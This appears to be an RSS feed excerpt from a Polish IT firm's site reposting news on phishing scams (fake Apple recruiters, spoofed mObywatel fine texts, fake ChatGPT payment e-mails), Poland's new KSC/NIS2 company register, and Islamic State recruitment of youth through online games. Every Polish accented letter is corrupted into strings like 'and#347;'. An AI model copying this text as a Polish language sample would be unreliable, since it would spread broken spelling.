			<description><![CDATA[ Oszuand#347;ci podszywajand#261; siand#281; pod rekruterand#243;w Apple i wysyand#322;ajand#261; wiadomoand#347;ci wygland#261;dajand#261;ce jak zaproszenie do procesu rekrutacyjnego. Inni wysyand#322;ajand#261; e-maile o rzekomej koniecznoand#347;ci ponowienia pand#322;atnoand#347;ci za dostand#281;p do ChatGPT. W ostatnich dniach wrand#243;ciand#322;a teand#380; kampania informujand#261;ca o rzekomych wykroczeniach drogowych.
and#160;




and#160;

fot. hanohiki /and#160;/and#160;Shutterstock


and#160;
Jednym z najnowszych przykand#322;adand#243;w jest kampania opisana przez analitykand#243;w ESET. Oszuand#347;ci podszywajand#261; siand#281; pod rekruterand#243;w Apple i wysyand#322;ajand#261; wiadomoand#347;ci wygland#261;dajand#261;ce jak zaproszenie do procesu rekrutacyjnego. Pierwszy e-mail nie zawiera typowych sygnaand#322;and#243;w ostrzegawczych: nie ma w nim podejrzanego zaand#322;and#261;cznika, nachalnej proand#347;by o dane ani linku prowadzand#261;cego od razu do formularza logowania. Wiadomoand#347;and#263; jest napisana poprawnand#261;, biznesowand#261; angielszczyznand#261; i zawiera szczegand#243;and#322;y dotyczand#261;ce stanowiska.



and#160;



Puand#322;apka pojawia siand#281; dopiero w kolejnym kroku. Po klikniand#281;ciu w link do umand#243;wienia rozmowy kandydat trafia na stronand#281; udajand#261;cand#261; portal kariery. Kaand#380;da prand#243;ba interakcji koand#324;czy siand#281; proand#347;band#261; o zalogowanie. Do wyboru jest m.in. konto na Facebooku, ale panel logowania jest faand#322;szywy i sand#322;uand#380;y do wyand#322;udzenia danych. Przejand#281;ty profil moand#380;e pand#243;and#378;niej zostaand#263; wykorzystany do kolejnych oszustw, np. wyand#322;udzania pieniand#281;dzy od znajomych lub przejand#281;cia dostand#281;pu do firmowych stron i kont reklamowych.
and#160;
W tej kampanii pojawiand#322; siand#281; teand#380; band#322;and#261;d, ktand#243;ry powinien zapaliand#263; czerwonand#261; lampkand#281;. Pierwsza wiadomoand#347;and#263; dotyczyand#322;a pracy w Apple, ale w drugiej oszuand#347;ci dziand#281;kowali za zainteresowanie rekrutacjand#261; w Meta. To dobry przykand#322;ad, and#380;e nawet dopracowane oszustwa czand#281;sto rozpadajand#261; siand#281; na szczegand#243;and#322;ach.
and#160;
Mandat z mObywatela? To moand#380;e byand#263; faand#322;szywy SMS
Kolejny scenariusz dotyczy wiadomoand#347;ci SMS o rzekomym wykroczeniu drogowym. CERT Polska ostrzegand#322; przed kampaniand#261;, w ktand#243;rej oszuand#347;ci informujand#261; odbiorcand#243;w o koniecznoand#347;ci pilnego opand#322;acenia mandatu. W jednym z wariantand#243;w wykorzystujand#261; spoofing nazwy nadawcy, przez co SMS moand#380;e pojawiand#263; siand#281; w telefonie w istniejand#261;cej konwersacji z powiadomieniami z mObywatela. To szczegand#243;lnie niebezpieczne, bo uand#380;ytkownik widzi wiadomoand#347;and#263; w znanym wand#261;tku i and#322;atwiej uznaje jand#261; za prawdziwand#261;.



















Link z wiadomoand#347;ci prowadzi do strony podszywajand#261;cej siand#281; pod CEPiK. Tam ofiara proszona jest o podanie danych karty pand#322;atniczej. W rzeczywistoand#347;ci nie opand#322;aca and#380;adnego mandatu, tylko przekazuje oszustom dane, ktand#243;re mogand#261; posand#322;uand#380;yand#263; do kradzieand#380;y pieniand#281;dzy. CERT Polska przypomina, by zwracaand#263; uwagand#281; na kontekst wiadomoand#347;ci, dokand#322;adnie sprawdzaand#263; adres strony i nie dziaand#322;aand#263; pod presjand#261; czasu. Podejrzane SMS-y moand#380;na przekazywaand#263; na numer 8080.
and#160;
ChatGPT teand#380; staand#322; siand#281; przynand#281;tand#261;
Na popularnoand#347;ci sztucznej inteligencji prand#243;bujand#261; zarabiaand#263; takand#380;e cyberprzestand#281;pcy. CERT Polska poinformowaand#322; o kampanii, w ktand#243;rej oszuand#347;ci wykorzystujand#261; wizerunek OpenAI. Wysyand#322;ajand#261; e-maile o rzekomej koniecznoand#347;ci ponowienia pand#322;atnoand#347;ci za dostand#281;p do ChatGPT. Link z wiadomoand#347;ci nie prowadzi jednak do prawdziwego serwisu, lecz na stronand#281; wyand#322;udzajand#261;cand#261; dane karty pand#322;atniczej.
Ten schemat jest prosty, ale skuteczny, bo bazuje na emocjach i obawie przed utratand#261; dostand#281;pu do usand#322;ugi. Uand#380;ytkownik ma poczuand#263;, and#380;e musi zareagowaand#263; natychmiast. To czand#281;sty mechanizm phishingu: presja czasu, znana marka, komunikat o pand#322;atnoand#347;ci i link, ktand#243;ry ma skrand#243;ciand#263; drogand#281; do and#8222;rozwiand#261;zania problemuand#8221;. W praktyce najbezpieczniej jest nie korzystaand#263; z linkand#243;w w takich wiadomoand#347;ciach, tylko samodzielnie wejand#347;and#263; na oficjalnand#261; stronand#281; lub do aplikacji i tam sprawdziand#263; status konta.
and#160;
Wspand#243;lny mianownik: wiarygodnoand#347;and#263;
Nowe kampanie pokazujand#261;, and#380;e phishing coraz czand#281;and#347;ciej przypomina zwykand#322;and#261; komunikacjand#281;, z ktand#243;rand#261; uand#380;ytkownicy spotykajand#261; siand#281; na co dzieand#324;. Rekrutacja, mandat, pand#322;atnoand#347;and#263; za usand#322;ugand#281; internetowand#261;, zalegand#322;a opand#322;ata za studia and#8211; kaand#380;dy z tych tematand#243;w jest prawdopodobny. Oszuand#347;ci nie muszand#261; juand#380; tworzyand#263; sensacyjnych historii. Wystarczy, and#380;e podszyjand#261; siand#281; pod instytucjand#281;, firmand#281; albo usand#322;ugand#281;, z ktand#243;rej naprawdand#281; korzystamy.





Dlatego najwaand#380;niejsza zasada pozostaje prosta: nie logowaand#263; siand#281; i nie podawaand#263; danych pand#322;atniczych po klikniand#281;ciu w link z wiadomoand#347;ci. Warto sprawdziand#263; adres nadawcy, adres strony, spand#243;jnoand#347;and#263; komunikatu i to, czy dana sprawa rzeczywiand#347;cie istnieje. Jeand#347;li wiadomoand#347;and#263; dotyczy banku, urzand#281;du, uczelni lub pand#322;atnej usand#322;ugi, lepiej wejand#347;and#263; do serwisu samodzielnie albo skontaktowaand#263; siand#281; z instytucjand#261; oficjalnym kanaand#322;em.
and#160;
and#378;rodand#322;o Bankier.pl 12 maja 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Start nowego systemu, zapisy ruszyły. Kogo obejmuje nowy obowiązek? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1700</link>
			<description><![CDATA[ 7 maja uruchomiony zostaand#322; Wykaz Krajowego Systemu Cyberbezpieczeand#324;stwa. Firmy nim objand#281;te muszand#261; siand#281; do niego wpisaand#263;. Spoczywajand#261; na nich obowiand#261;zki wynikajand#261;ce z wdraand#380;ania w Polsce unijnej dyrektywy NIS2. Kto podlega nowemu systemowi i jakie powinnoand#347;ci na nim ciand#261;and#380;and#261;?
and#160;




and#160;

fot. Luechai Wanapapobsuk /and#160;/and#160;Shutterstock


and#160;
To data, ktand#243;rand#261; wielu przedsiand#281;biorcand#243;w w natand#322;oku biznesowych spraw mogand#322;o przegapiand#263;.and#160;7 majaand#160;ruszyand#322;a rejestracja doand#160;Wykazu Krajowego Systemu Cyberbezpieczeand#324;stwa (KSC).and#160;Muszand#261; siand#281; w nim znaleand#378;and#263; firmy podlegajand#261;ce KSC. Na zapisanie siand#281; majand#261; czas doand#160;3 paand#378;dziernika. A to dopiero poczand#261;tek ich powinnoand#347;ci zwiand#261;zanych z ustawand#261; dotyczand#261;cand#261; cyberochrony.
KSC: jakie nowe obowiand#261;zki dla firm?
Przypomnijmy,and#160;3 kwietniaand#160;w Polsce weszand#322;a w and#380;ycie nowelizacja ustawy o krajowym systemie cyberbezpieczeand#324;stwa (KSC). Wprowadziand#322;a ona do polskiego porzand#261;dku prawnego unijnand#261; dyrektywand#281;and#160;NIS 2and#160;dotyczand#261;cand#261; cyberochrony orazand#160;Toolbox 5G,and#160;czyli unijny dokument dotyczand#261;cy bezpieczeand#324;stwa sieci 5G.
Nowe przepisyand#160;rozszerzajand#261; katalog podmiotand#243;wand#160;objand#281;tych obowiand#261;zkami w zakresie cyberbezpieczeand#324;stwa. Istniejand#261;cy do tej pory podziaand#322; na operatorand#243;w usand#322;ug kluczowych i dostawcand#243;w usand#322;ug cyfrowych zastand#261;piono innym podziaand#322;em - naand#160;podmioty kluczowe i podmioty waand#380;ne.
Muszand#261; one wdroand#380;yand#263;and#160;obowiand#261;zki zwiand#261;zane z obszarem cyberochrony. Chodzi m.in. o wprowadzenie w and#380;ycie systemu zarzand#261;dzania bezpieczeand#324;stwem informacji, regularnand#261; ocenand#281; ryzyka wystand#261;pienia incydentand#243;w i zarzand#261;dzanie incydentami. Band#281;dand#261; teand#380; musiaand#322;y np. zbieraand#263; informacje o cyberzagroand#380;eniach i podatnoand#347;ciach na incydenty oraz stosowaand#263; and#347;rodki ograniczajand#261;ce ich wpand#322;yw na dziaand#322;alnoand#347;and#263; gospodarczand#261;.



















Kogo obejmuje KSC? Konieczna samoidentyfikacjaand#160; and#160;
Powyand#380;szymi obowiand#261;zkami zostanand#261; objand#281;te firmy zand#160;okreand#347;lonych branand#380;and#160;(wymieniamy je na koand#324;cu tekstu). Wedand#322;ug szacunkand#243;w Ministerstwa Cyfryzacji, KSC moand#380;e objand#261;and#263; okoand#322;oand#160;38 tys. podmiotand#243;w,and#160;w tym okoand#322;o 27 tys. podmiotand#243;w publicznych. Przedsiand#281;biorcy z okreand#347;lonych sektorand#243;w juand#380; teraz powinni przeanalizowaand#263;, czy ich firmy sand#261; objand#281;te nowymi przepisami.
Przed zand#322;oand#380;eniem wniosku o wpis do wykazu przedsiand#281;biorca powinien upewniand#263; siand#281;, czy jego podmiot faktycznieand#160;speand#322;nia kryteria ustawyand#160;dla podmiotu kluczowego lub podmiotu waand#380;nego. Wand#322;aand#347;ciciele firm muszand#261;and#160;oceniand#263; to samodzielnie.and#160;W tym celu powinni sprawdziand#263; profil dziaand#322;alnoand#347;ci, wand#322;aand#347;ciwy kod PKD oraz wielkoand#347;and#263; podmiotu, uwzgland#281;dniajand#261;c przedsiand#281;biorstwa powiand#261;zane i partnerskie. Jeand#347;li speand#322;niajand#261; kryteria, band#281;dand#261; zobowiand#261;zani zarejestrowaand#263; siand#281; wand#160;Wykazie podmiotand#243;w KSC.and#160;Jeand#347;li przedsiand#281;biorcy nie wpiszand#261; siand#281; do wykazu, band#281;dand#261; im groziand#322;y kary finansowe.and#160;Szczegand#243;and#322;owy opis procesu samoidentyfikacji znajdzieszand#160;pod tym linkiem.
and#160;
Co daje wpis do Wykazu KSC?
Wykaz KSC jest aplikacjand#261;, ktand#243;ra zawiera listand#281; podmiotand#243;w kluczowych i podmiotand#243;w waand#380;nych. Zawiera dane podmiotand#243;w, ktand#243;reand#160;umoand#380;liwiajand#261; wspand#243;and#322;pracand#281; z zespoand#322;ami CSIRTand#160;i organami wand#322;aand#347;ciwymi ds. cyberbezpieczeand#324;stwa w ramach krajowego systemu cyberbezpieczeand#324;stwa. Dziand#281;ki wpisowi do wykazu przedsiand#281;biorcy uzyskajand#261;and#160;dostand#281;p do S46 Cyber Huband#160;i wypeand#322;niand#261; obowiand#261;zki naand#322;oand#380;one ustawand#261;, m.in. dotyczand#261;ce zgand#322;aszania incydentand#243;w.
and#160;
Ktand#243;ry z trybu wpisu naleand#380;y wybraand#263;?
Nowe przepisy przewidujand#261;and#160;dwa tryby wpisuand#160;firmy do wykazu. W pierwszej kolejnoand#347;ci przedsiand#281;biorca powinien ustaliand#263;, ktand#243;ry z nich dotyczy jego organizacji.





Pierwsza opcja toand#160;samorejestracjaand#160;and#8211; w jej ramach przedsiand#281;biorca skand#322;ada wniosek o wpis do wykazu samodzielnie. Taka moand#380;liwoand#347;and#263; ruszyand#322;a 7 maja. Ten tryb obejmuje osoby, ktand#243;re prowadzand#261; dziaand#322;alnoand#347;and#263; w sektorze objand#281;tym ustawand#261; (zaand#322;and#261;cznik nr 1 lub nr 2), speand#322;niajand#261; kryteria wielkoand#347;ciowe, a ich podmiot nie jest wpisywany do wykazu z urzand#281;du - chodzi tu przede wszystkim oand#160;podmioty prywatne.and#160;Warto dodaand#263;, and#380;e prand#243;ba umieszczenia podmiotu w wykazie w przypadku, gdy podmiot jest juand#380; w nim wpisany, w szczegand#243;lnoand#347;ci z urzand#281;du, zakoand#324;czy siand#281; band#322;and#281;dem. Samorejestracji moand#380;na dokonaand#263;and#160;pod tym linkiem.and#160;Termin skand#322;adania wnioskand#243;w mija 3 paand#378;dziernika.
Natomiast drugi tryb toand#160;wpis z urzand#281;du.and#160;W tym przypadku przedsiand#281;biorca powinien czekaand#263; na wezwanie, po ktand#243;rym ma uzupeand#322;niand#263; wpis.
and#160;
Kto jest wpisany do wykazu z urzand#281;du?
Niektand#243;re podmioty kluczowe lub podmioty waand#380;ne sand#261; wpisywane do wykazu przez Ministra Cyfryzacjiand#160;z urzand#281;duand#160;and#8211; bez skand#322;adania wniosku o wpis. Taki wpis dotyczy:

podmiotand#243;w publicznych,
przedsiand#281;biorcand#243;w telekomunikacyjnych,
dostawcand#243;w usand#322;ug zaufania,
podmiotand#243;w, ktand#243;re wczeand#347;niej miaand#322;y status operatora usand#322;ugi kluczowej.

W przypadku, gdy przedsiand#281;biorca naleand#380;y do tej grupy,and#160;nie powinien skand#322;adaand#263; wnioskuand#160;o wpis do wykazu. Po wpisie dokonanym z urzand#281;du otrzyma zawiadomienie i wezwanie do uzupeand#322;nienia wpisu z odpowiednim linkiem i kodem dostand#281;pu. Na uzupeand#322;nienie danych w wykazie ma szeand#347;and#263; miesiand#281;cy od otrzymania wezwania. O wpisie z urzand#281;du wiand#281;cej moand#380;na przeczytaand#263;and#160;pod tym linkiem.and#160;





and#160;
Wniosek w ramach samorejestracji: krok po kroku
Aby zand#322;oand#380;yand#263; wniosek w ramach samorejestracji, przedsiand#281;biorca w pierwszej kolejnoand#347;ci powinien wejand#347;and#263; na stronand#281;and#160;https://wykaz-ksc.gov.pland#160;iand#160;zalogowaand#263; siand#281;and#160;przez Wand#281;zeand#322; Krajowy (Profil Zaufany, mObywatel, e-Dowand#243;d, bankowoand#347;and#263; elektroniczna lub kwalifikowany certyfikat). Jeand#347;li robi to pierwszy raz, musi zarejestrowaand#263; konto uand#380;ytkownika.
W kolejnym kroku powinien kliknand#261;and#263; and#8222;Wpisz nowy podmiotand#8221; iand#160;wypeand#322;niand#263; formularzand#160;and#8211; dane podmiotu, klasyfikacjand#281; sektorowand#261;, dane kontaktowe. W kolejnym kroku naleand#380;y podpisaand#263; wniosek elektroniczne.
Wnioski do wykazuand#160;skand#322;ada i podpisuje kierownik podmiotu albo osoba przez niego upowaand#380;niona. W razie koniecznoand#347;ci do wniosku naleand#380;y doand#322;and#261;czyand#263; udzielone peand#322;nomocnictwo. Kolejne kroki zostaand#322;y bardziej szczegand#243;and#322;owo opisaneand#160;pod tym linkiem.and#160;
Poniand#380;ej przedstawiamyand#160;ustawowy podziaand#322;and#160;na sektory kluczowe i waand#380;ne.

















and#160;
Sektory kluczowe
1. Energia:

wydobywanie kopalin
energia elektryczna
ciepand#322;o
ropa i paliwa
gaz
energetyka jand#261;drowa
wodand#243;r

2. Transport:

lotniczy
kolejowy
wodny
drogowy

3. Bankowoand#347;and#263; i infrastruktura rynkand#243;w finansowych
4. Ochrona zdrowia:






udzielanie and#347;wiadczeand#324; zdrowotnych i zdrowie publiczne
produkcja i dystrybucja substancji czynnych, produktand#243;w leczniczych i wyroband#243;w medycznych

5. Zaopatrzenie w wodand#281; pitnand#261; i jej dystrybucja
6. Zbiorowe odprowadzanie and#347;ciekand#243;w
7. Infrastruktura cyfrowa:

infrastruktura cyfrowa z wyand#322;and#261;czeniem komunikacji elektronicznej
komunikacja elektroniczna

8. Zarzand#261;dzanie usand#322;ugami ICT
9. Przestrzeand#324; kosmiczna
10. Podmioty publiczne
and#160;
Sektory waand#380;ne
1. Usand#322;ugi pocztowe
2. Inwestycje energetyki jand#261;drowej
3. Gospodarowanie odpadami:

zbieranie odpadand#243;w
transport odpadand#243;w
przetwarzanie odpadand#243;w, w tym sortowanie, wraz z nadzorem nad wymienionymi dziaand#322;aniami, a takand#380;e pand#243;and#378;niejsze postand#281;powanie z miejscami unieszkodliwiania odpadand#243;w
dziaand#322;ania wykonywane w charakterze sprzedawcy odpadand#243;w lub poand#347;rednika w obrocie odpadami

4. Produkcja, wytwarzanie i dystrybucja chemikaliand#243;w
5. Produkcja, wytwarzanie i dystrybucja and#380;ywnoand#347;ci
6. Produkcja:

wyroband#243;w medycznych i wyroband#243;w medycznych do diagnostyki in vitro
komputerand#243;w, wyroband#243;w elektronicznych i optycznych
urzand#261;dzeand#324; elektrycznych
maszyn i urzand#261;dzeand#324;, gdzie indziej niesklasyfikowana
pojazdand#243;w samochodowych, przyczep i naczep
pozostaand#322;ego sprzand#281;tu transportowego

7. Dostawcy usand#322;ug cyfrowych
8. Badania naukowe
9. Podmioty publiczne, inne niand#380; wymienione w Zaand#322;and#261;czniku nr 1
and#160;
and#378;rodand#322;o Bankier.pl and#160;11 maja 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Wirtualny kalifat w Robloksie i Minecrafcie. Tak terroryści werbują polskie dzieci ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1699</link>
			<description><![CDATA[ Paand#324;stwo Islamskie (IS) poprzez gry online, portale spoand#322;ecznoand#347;ciowe, kulturand#281; memand#243;w i trendy muzyczne tworzy wirtualny kalifat docierajand#261;c do odbiorcand#243;w z pokolenia Z and#8211; wynika z analizy opublikowanej przez Miand#281;dzynarodowe Centrum ds. Zwalczania Terroryzmu (ICCT) z siedziband#261; w Hadze.
and#160;




and#160;

fot. Cmspic /and#160;/and#160;Shutterstock


and#160;
Analitycy z ICCT zwrand#243;cili uwagand#281;, and#380;e treand#347;ci propagandowe publikowane przez IS and#8222;czand#281;sto wydajand#261; siand#281; nie do odrand#243;and#380;nienia od typowego zachowania mand#322;odzieand#380;y w internecie: to gra internetowa Roblox, trendy na TikToku, remiks piosenki z milionami wyand#347;wietleand#324;and#8221;. Ich zdaniem majand#261; one trafiand#263; szczegand#243;lnie do odbiorcand#243;w w wieku 15-25 lat, okreand#347;lanych jako pokolenie Z czyli pierwsza generacja w peand#322;ni wychowana w cyfrowym and#347;wiecie.



and#160;



W opinii autorand#243;w analizy czand#322;onkowie IS and#8222;nauczyli siand#281; mand#243;wiand#263; w jand#281;zyku cyfrowej kultury mand#322;odzieand#380;owej za pomocand#261; ironii, estetyki, grywalizacji (angaand#380;owanie odbiorcy przy wykorzystaniu mechanizmand#243;w gier komputerowych and#8211; PAP) i treand#347;ci wiralowychand#8221;. Jednoczeand#347;nie Paand#324;stwo Islamskie and#8222;osadza swoje ideologiczne przesand#322;anie w formatach, ktand#243;re majand#261; maksymalnie wzmocniand#263; algorytmy i wpand#322;ynand#261;and#263; na emocjeand#8221;.
and#160;
Wand#347;rand#243;d gier wideo, wykorzystywanych w ten sposand#243;b w 2024 roku, wymienionoand#160;Fortnite, Minecraft oraz Roblox.and#160;Ta ostatnia jest obecnie najpopularniejszand#261; grand#261; online wand#347;rand#243;d mand#322;odzieand#380;y na caand#322;ym and#347;wiecie. Wedand#322;ug raportu firmy Questudio, zajmujand#261;cej siand#281; tworzeniem programand#243;w komputerowych,and#160;dziennie nastoletni uand#380;ytkownicy z Zachodu grajand#261; w Robloksa dziennie and#347;rednio ok. 139 minut.
Eksperci z ICCT podali, and#380;e uand#380;ytkownicy tej gry wcielajand#261; siand#281; m.in. w bojownikand#243;w dand#380;ihadu poprzez awatary przedstawiajand#261;ce islamistand#243;w, odtwarzajand#261;c rand#243;wnieand#380; sceneriand#281; z Syrii, Iranu lub Afganistanu.

and#8222;Gracze sand#261; zachand#281;cani do zabijania i pokonywania niewiernych w rand#243;and#380;nych wirtualnych scenariuszach, od iraand#324;skich pustyand#324; po supermarkety w Europie i Stanach Zjednoczonychand#8221; and#8211; czytamy w analizie.

Ponadto za poand#347;rednictwem czatand#243;w oraz platformand#160;Telegram, RocketChat i Discordand#160;przekazywane sand#261; graczom informacje propagandowe dotyczand#261;ce dziaand#322;aand#324; i rytuaand#322;and#243;w dand#380;ihadystand#243;w, w tym skand#322;adania przysiand#281;gi wiernoand#347;ci kalifowi czyli politycznemu i religijnemu przywand#243;dcy muzuand#322;maand#324;skiemu. W ten sposand#243;b Paand#324;stwo Islamskie wykorzystuje gry do podand#380;egania do nienawiand#347;ci, rekrutacji bojownikand#243;w oraz ich szkolenia.
Wskazano takand#380;e, and#380;e na kontach IS w portalach spoand#322;ecznoand#347;ciowych publikowane sand#261; nagrania wideo gloryfikujand#261;ce akty przemocy jako zachowania antyfeministyczne, promujand#261;ce mizoginizm. and#8222;Popularnym wspand#243;and#322;czesnym trendem na TikToku wand#347;rand#243;d mand#322;odzieand#380;y jest wykorzystanie obrazu bojownika Paand#324;stwa Islamskiego z wyciand#261;gniand#281;tym palcem wskazujand#261;cym w stronand#281; nieba, czyli pokazujand#261;cym gest tawhid, symbolizujand#261;cy w teologii islamskiej jednoand#347;and#263; z Bogiem (Allahem and#8211; PAP). Trend ten wystand#281;puje rand#243;wnieand#380; wand#347;rand#243;d niemuzuand#322;maand#324;skich nastolatkand#243;w i mand#322;odzieand#380;y z Zachodu (w tym o skrajnie prawicowych inklinacjach i tych, ktand#243;rzy utoand#380;samiajand#261; siand#281; z kulturand#261; inceli)and#8221; and#8211; napisano w analizie.
Odnotowano takand#380;e przypadki, gdzieand#160;dand#380;ihadystyczne pieand#347;ni religijne zwane nasheedami przeniknand#281;and#322;y do muzyki elektronicznej popularnej wand#347;rand#243;d sand#322;uchaczy z pokolenia Z, z gatunku future bass, wave i phonk.and#160;Analitycy zwrand#243;cili uwagand#281;, and#380;e and#8222;na TikToku materiaand#322;y wizualne and#8211; zdjand#281;cia, memy i krand#243;tkie filmy and#8211; czand#281;sto wykorzystujand#261; zremiksowane and#347;cieand#380;ki dand#378;wiand#281;koweand#8221;.
W raporcie Europolu TE-SAT 2025 podano, and#380;e w 2024 r. jeden na trzech zatrzymanych na terenie Unii Europejskiej podejrzanych o przestand#281;pstwa terrorystyczne byand#322; osoband#261; w wieku do 20 lat. Najmand#322;odsza zatrzymana osoba, planujand#261;ca zamach o podand#322;oand#380;u skrajnie prawicowym, miaand#322;a 12 lat.





ONZ w raporcie dotyczand#261;cego naraand#380;enia dzieci i mand#322;odzieand#380;y na dziaand#322;ania grup terrorystycznych, wydanym w paand#378;dzierniku 2025 r., poinformowaand#322;a, and#380;e 42 proc. and#347;ledztw zwiand#261;zanych z terroryzmem prowadzonych przez organy w Europie i Ameryce Pand#243;and#322;nocnej dotyczyand#322;o udziaand#322;u nieletnich. To trzykrotny wzrost w porand#243;wnaniu z danymi z 2021 r. Najmand#322;odsze osoby, ktand#243;re byand#322;y rekrutowane do organizacji terrorystycznych, miaand#322;y 8-9 lat.and#160;
and#160;
and#378;rodand#322;o PAP 10 maja 2026 mzb/ pand#347;/ zm/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Nowy obowiązek dla tysięcy firm. Sprawdź, czy podlegasz pod KSC ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1698</link>
			<description><![CDATA[ Od 7 maja do 3 paand#378;dziernika firmy podlegajand#261;ce Krajowemu Systemu Cyberbezpieczeand#324;stwa muszand#261; zapisaand#263; do Wykazu KSC. Obowiand#261;zek dotyczy m.in. sektorand#243;w zarzand#261;dzania usand#322;ugami ICT (teleinformatycznymi), odprowadzania and#347;ciekand#243;w, produkcji i dystrybucji and#380;ywnoand#347;ci. Firmy muszand#261; same ustaliand#263;, czy podlegajand#261; KSC.
and#160;




and#160;

fot. Roman Samborskyi /and#160;/and#160;Shutterstock


and#160;
and#160;
Nowelizacja ustawy o krajowym systemie cyberbezpieczeand#324;stwa (KSC), ktand#243;ra w wiand#281;kszoand#347;ci weszand#322;a w and#380;ycie 3 kwietnia br., wprowadziand#322;a podziaand#322; na podmioty kluczowe i waand#380;ne, a takand#380;e nowe sektory, ktand#243;re podlegajand#261; ustawie. Chodzi m.in. o zbiorowe odprowadzanie and#347;ciekand#243;w, zarzand#261;dzanie usand#322;ugami ICT (teleinformatycznymi) i przestrzeand#324; kosmiczna



and#160;



Zgodnie z noweland#261;, podmioty objand#281;te przepisami majand#261; szereg nowych obowiand#261;zkand#243;w, w tym wpisanie siand#281; do Wykazu KSC. Jest to moand#380;liwe od czwartku i moand#380;na to zrobiand#263; przez stronand#281; https://wykaz-ksc.gov.pl. Wpisanie firmy do wykazu band#281;dzie moand#380;liwe do 3 paand#378;dziernika br.
and#160;
Wniosku o wpisanie do wykazu nie muszand#261; skand#322;adaand#263; podmioty, ktand#243;re zostaand#322;y objand#281;te wpisem realizowanym z urzand#281;du.and#160;Chodzi o podmioty publiczne, przedsiand#281;biorcand#243;w telekomunikacyjnych, dostawcand#243;w usand#322;ug cyfrowych oraz podmioty, ktand#243;re miaand#322;y status operatorand#243;w usand#322;ug kluczowych przed nowelizacjand#261; ustawy. Do 6 maja Ministerstwo Cyfryzacji miaand#322;o obowiand#261;zek wpisaand#263; te podmioty do wykazu.
and#160;
Podmiot kluczowy czy waand#380;ny? Nowe obowiand#261;zki
Jak podaand#322; resort na swojej stronie internetowej, w pierwszej kolejnoand#347;ci firma musi zweryfikowaand#263;, czy prowadzona przez niand#261; dziaand#322;alnoand#347;and#263; mieand#347;ci siand#281; w sektorach lub podsektorach objand#281;tych noweland#261;. W zaand#322;and#261;czniku 1. nowelizacji ustawy o KSC wand#347;rand#243;d sektorand#243;w kluczowych znalazand#322;y siand#281;: energia; transport; ochrona zdrowia, bankowoand#347;and#263; i infrastruktura rynkand#243;w finansowych; zaopatrzenie w wodand#281; pitnand#261; i jej dystrybucja, zbiorowe odprowadzanie and#347;ciekand#243;w; infrastruktura cyfrowa i przestrzeand#324; kosmiczna.
Natomiast zgodnie z zaand#322;and#261;cznikiem 2. noweli do sektorand#243;w waand#380;nych naleand#380;and#261;: usand#322;ugi pocztowe; inwestycje energetyki jand#261;drowej; gospodarowanie odpadami; produkcja, wytwarzanie i dystrybucja chemikaliand#243;w; produkcja, wytwarzanie i dystrybucja and#380;ywnoand#347;ci; dostawcy usand#322;ug cyfrowych i badania naukowe. Podmioty sektora waand#380;nego to rand#243;wnieand#380; firmy, ktand#243;re zajmujand#261; siand#281; produkcjand#261; np.: wyroband#243;w medycznych; komputerand#243;w; wyroband#243;w elektronicznych i optycznych urzand#261;dzeand#324; elektrycznych; pojazdand#243;w samochodowych, przyczep i naczep; pozostaand#322;ego sprzand#281;tu transportowego.
Jak wskazaand#322; resort cyfryzacji po sprawdzeniu, czy dziaand#322;alnoand#347;and#263; mieand#347;ci siand#281; w wymienionych sektorach, naleand#380;y sprawdziand#263; wielkoand#347;ci podmiotu. Trzeba przy tym wziand#261;and#263; pod uwagand#281; progi dla mikro, maand#322;ych i and#347;rednich przedsiand#281;biorstw. Resort zaznaczyand#322;, and#380;e przy obliczaniu wielkoand#347;ci, firmy muszand#261; takand#380;e wziand#261;and#263; pod uwagand#281; przedsiand#281;biorstwa powiand#261;zane i partnerskie. Dla mikroprzedsiand#281;biorstw progi wynoszand#261; odpowiednio: mniej niand#380; 10 pracownikand#243;w oraz maksymalnie 2 mln euro rocznego obrotu lub rocznej sumy bilansowej. Progi dla maand#322;ych firm to mniej niand#380; 50 pracownikand#243;w i maks. 10 mln euro rocznego obrotu lub rocznej sumy bilansowej; dla and#347;rednich przedsiand#281;biorstw - mniej niand#380; 250 pracownikand#243;w oraz maks. 50 mln euro rocznego obrotu lub 43 mln euro rocznej sumy bilansowej. Natomiast duand#380;e firmy to te, ktand#243;re przekraczajand#261; wymienione progi.
Wszyscy przedsiand#281;biorcy telekomunikacyjni, niezaleand#380;nie od ich wielkoand#347;ci, podlegajand#261; pod ustawand#281; - dodano.
Trzecim krokiem przedsiand#281;biorcand#243;w powinna byand#263; analiza art. 5 ustawy o KSC, ktand#243;ry okreand#347;la szczegand#243;and#322;owe zasady uznawania podmiotand#243;w za podmiot kluczowy albo podmiot waand#380;ny. Resort wyjaand#347;niand#322;, and#380;e przepis ten wskazuje na m.in. przypadki, w ktand#243;rych podmiot moand#380;e zostaand#263; objand#281;ty ustawand#261; niezaleand#380;nie od swojej wielkoand#347;ci, a takand#380;e szczegand#243;lne sytuacje uzasadniajand#261;ce zakwalifikowanie podmiotu do jednej kategorii. and#8222;Speand#322;nienie przesand#322;anek z art. 5 jednoznacznie oznacza objand#281;cie podmiotu przepisami ustawyand#8221; - podkreand#347;liand#322;o ministerstwo.





and#160;
Zaloguj siand#281; i zand#322;and#243;and#380; wniosek. Co firma musi wiedzieand#263; o nowym Wykazie KSC?
Podmiot, ktand#243;ry ustaliand#322;, and#380;e podlega pod krajowy system cyberbezpieczeand#324;stwa, powinien nastand#281;pnie zaand#322;oand#380;yand#263; konto w Wykazie KSC, co umoand#380;liwi w nastand#281;pnej kolejnoand#347;ci zand#322;oand#380;enie wniosku o wpis. Po wejand#347;ciu na dedykowanand#261; stronand#281; internetowand#261;, naleand#380;y kliknand#261;and#263; przycisk and#8222;Zaloguj z login.gov.pland#8221;. Kolejny krok to wybranie metody logowania i uwierzytelnienie siand#281;.
Po pierwszym zalogowaniu system poprosi uand#380;ytkownika o zarejestrowanie konta. Naleand#380;y to zrobiand#263; przez wypeand#322;nienie formularza rejestracji i zaakceptowanie wymaganych oand#347;wiadczeand#324;. Nastand#281;pnie na podany adres e-mail uand#380;ytkownik otrzyma kod weryfikacyjny, ktand#243;ry trzeba wpisaand#263; w odpowiednim polu. Po poprawnej weryfikacji pojawi siand#281; komunikat and#8222;Sukcesand#8221;, a na na e-mail przyjdzie potwierdzenie rejestracji.
